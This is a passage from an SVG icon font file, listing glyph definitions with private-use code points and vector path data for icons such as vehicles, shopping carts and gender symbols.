<glyph unicode="&#xf206;" horiz-adv-x="2304" d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94 q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469 q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400 q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
<glyph unicode="&#xf207;" d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5 h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5 t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
<glyph unicode="&#xf208;" horiz-adv-x="2048" d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327 q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5 q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
<glyph unicode="&#xf209;" horiz-adv-x="1280" d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q18 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119 t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5 t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14 q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88 q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5 t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
<glyph unicode="&#xf20a;" horiz-adv-x="2048" d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206 q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307 t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14 t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
<glyph unicode="&#xf20b;" d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5 t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf20c;" d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55 q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410 q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
<glyph unicode="&#xf20d;" d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
<glyph unicode="&#xf20e;" horiz-adv-x="2048" d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335 q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5 q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360q2 0 4.5 -1t5.5 -2.5l5 -2.5l188 199v347l-187 194 q-13 -8 -29 -10zM986 1438h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13 zM552 226h402l64 66l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224 l213 -225zM1023 946l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196 l-48 -227l130 227h-82zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
<glyph unicode="&#xf210;" d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
<glyph unicode="&#xf211;" d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384 q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
<glyph unicode="&#xf212;" horiz-adv-x="2048" d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021 q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25 q209 0 374 -102q172 107 374 102z" />
<glyph unicode="&#xf213;" horiz-adv-x="2048" d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101 q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284 q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
<glyph unicode="&#xf214;" d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34 l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114 v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378 v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51 h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5 t-43 -34t-16.5 -53.5z" />
<glyph unicode="&#xf215;" horiz-adv-x="2048" d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832 q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
<glyph unicode="&#xf216;" horiz-adv-x="2048" d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126.5t-103.5 132.5t-108.5 126t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5 t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113 t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5 q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
<glyph unicode="&#xf217;" horiz-adv-x="1664" d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5 t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920 q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf218;" horiz-adv-x="1664" d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5 t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920 q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf219;" horiz-adv-x="2048" d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20 l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
<glyph unicode="&#xf21a;" horiz-adv-x="2048" d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83 q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83 q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314 v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83 q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
<glyph unicode="&#xf21b;" d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14 t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5 q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31 t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
<glyph unicode="&#xf21c;" horiz-adv-x="2304" d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5 t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105 l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226 t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
<glyph unicode="&#xf21d;" d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12 q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384 q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5 t158.5 -65.5t65.5 -158.5z" />
<glyph unicode="&#xf21e;" horiz-adv-x="1792" d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221 q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124 t127 -344z" />
<glyph unicode="&#xf221;" horiz-adv-x="1280" d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292 q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
<glyph unicode="&#xf222;" d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5 q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf223;" horiz-adv-x="1280" d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5 t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5 t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf224;" d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64 q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5 t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
